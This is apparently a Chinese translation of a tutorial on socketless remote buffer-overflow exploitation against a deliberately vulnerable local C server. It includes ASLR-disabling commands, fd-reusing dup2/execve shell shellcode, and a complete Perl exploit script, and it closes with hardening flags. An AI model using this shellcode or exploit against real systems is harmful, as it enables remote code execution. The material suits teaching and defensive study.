本文讲的是
无Sockets的远程溢出漏洞利用方法,
在本文中,我将介绍一种在一个易受攻击的远程机器上获得shell访问的简单技术(这仅仅是我个人的观点)。这不是我自己创造的技术,但我发现它很有趣。所以,本文的重点是这种技术本身,而不是利用漏洞的方式。
echo 0 | sudo tee /proc/sys/kernel/randomize_va_space
echo 2 | sudo tee /proc/sys/kernel/randomize_va_space
-fno-stack-protector -z execstack
#include <stdio.h> #include <string.h> #include <sys/socket.h> #include <netinet/in.h> #include <arpa/inet.h> int process_request (int s1, char *reply) { char result[256]; strcpy (result, reply); write (s1, result, strlen(result)); printf ("Result: %p\n", &result); return 0; } int main (int argc, char *argv[]) { struct sockaddr_in server, client; socklen_t len = sizeof (struct sockaddr_in); int s,s1, ops = 1; char reply[1024]; server.sin_addr.s_addr = INADDR_ANY; server.sin_family = AF_INET; server.sin_port = htons(9000); s = socket (PF_INET, SOCK_STREAM, 0); if ((setsockopt (s, SOL_SOCKET, SO_REUSEADDR, &ops, sizeof(ops))) < 0) perror ("pb_server (reuseaddr):"); bind (s, (struct sockaddr *) &server, sizeof (server)); listen (s, 10); while (1) { s1 = accept (s, (struct sockaddr *)&client, &len); printf ("Connection from %s\n", inet_ntoa (client.sin_addr)); memset (reply, 0, 1024); read (s1, reply, 1024); process_request (s1, reply); close (s1); } return 0; }
gcc -g -fno-stack-protector -z execstack -o target target.c
$ perl -e 'print "A"x1024;' | nc localhost 9000
$ ./target Connection from 127.0.0.1 Result: 0x7fffffffdbf0 Segmentation fault (core dumped)
用shellcode创建一个socket服务器并允许从外部进行连接,然后从本地shell中进行数据收发...这是一个直连的远程shell。 shellcode连接到一个指定的主机,服务器监听端口等待受害者的连接...这是一个反向的远程shell。
int sck = dup (0) - 1; // Duplicate stdin dup2 (sck, 0); dup2 (sck, 1); dup2 (sck, 2); execv ("/bin/sh", NULL);
section .text global _start _start: ;; s = Dup (0) - 1 xor rax, rax push rax push rax push rax pop rsi pop rdx push rax pop rdi mov al, 32 syscall ; DUP (rax=32) rdi = 0 (dup (0)) dec rax push rax pop rdi ; mov rdi, rax ; dec rdi ;; dup2 (s, 0); dup2(s,1); dup2(s,2) loop: mov al, 33 syscall ; DUP2 (rax=33) rdi=oldfd (socket) rsi=newfd inc rsi mov rax,rsi cmp al, 2 ; Loop 0,1,2 (stdin, stdout, stderr) jne loop
nasm -f elf64 -o rsh.o rsh.asm
for i in $(objdump -d rsh.o -M intel |grep "^ " |cut -f2); do echo -n '\x'$i; done;echo
\x48\x31\xc0\x50\x50\x50\x5e\x5a\x50\x5f\xb0\x20\x0f\x05\x48\xff\xc8\x50\x5f\xb0\x21\x0f\x05\x48\xff\xc6\x48\x89\xf0\x3c\x02\x75\xf2\x52\x48\xbf\x2f\x2f\x62\x69\x6e\x2f\x73\x68\x57\x54\x5f\x52\x5e\xb0\x3b\x0f\x05
#!/usr/bin/perl use IO::Select; use IO::Socket::INET; $|=1; print "Remote Exploit Example"; print "by 0x00pf for 0x00sec :)\n\n"; # You may need to calculate these magic numbers for your system $addr = "\x10\xdd\xff\xff\xff\x7f\x00\x00"; $off = 264; # Generate the payload $shellcode = "\x48\x31\xc0\x50\x50\x50\x5e\x5a\x50\x5f\xb0\x20\x0f\x05\x48\xff\xc8\x50\x5f\xb0\x21\x0f\x05\x48\xff\xc6\x48\x89\xf0\x3c\x02\x75\xf2\x52\x48\xbf\x2f\x2f\x62\x69\x6e\x2f\x73\x68\x57\x54\x5f\x52\x5e\xb0\x3b\x0f\x05"; $nops = $off - length $shellcode; $payload = "\x90" x $nops . $shellcode . $addr; $plen = length $payload; $slen = length $shellcode; print "SLED $nops Shellcode: $slen Payload size: $plen\n"; # Connect my $socket = new IO::Socket::INET ( PeerHost => '127.0.0.1', PeerPort => '9000', Proto => 'tcp', ); # Set up select for asynchronous read from the server $sel = IO::Select->new( $socket ); $sel->add(\*STDIN); # Exploit! $socket->send ($payload); $socket->recv ($trash,1024); $timeout = .1; $flag = 1; # Just to show a prompt # Interact! while (1) { if (@ready = $sel->can_read ($timeout)) { foreach $fh (@ready) { $flag =1; if($fh == $socket) { $socket->recv ($resp, 1024); print $resp; } else { # It is stdin $line = <STDIN>; $socket->send ($line); } } } else { # Show the prompt whenever everything's been read print "0x00pf]> " if ($flag); $flag = 0; } }
重新激活ASLR(你已经知道怎么做了) 使堆栈为不可执行状态(移除 -zexecstack标志或使用execstack工具) 重新激活堆栈保护(移除 -fno-stackprotector标志) Go Pro(使用 -DFORTIFY_SOURCE=2进行编译或使用 -O2) Go master(使用 -O2 -fPIC -pie -fstack-protector-all -Wl,-z,relro,-z进行编译)
原文发布时间为:2017年2月16日
本文作者:丝绸之路
本文来自云栖社区合作伙伴嘶吼,了解相关信息可以关注嘶吼网站。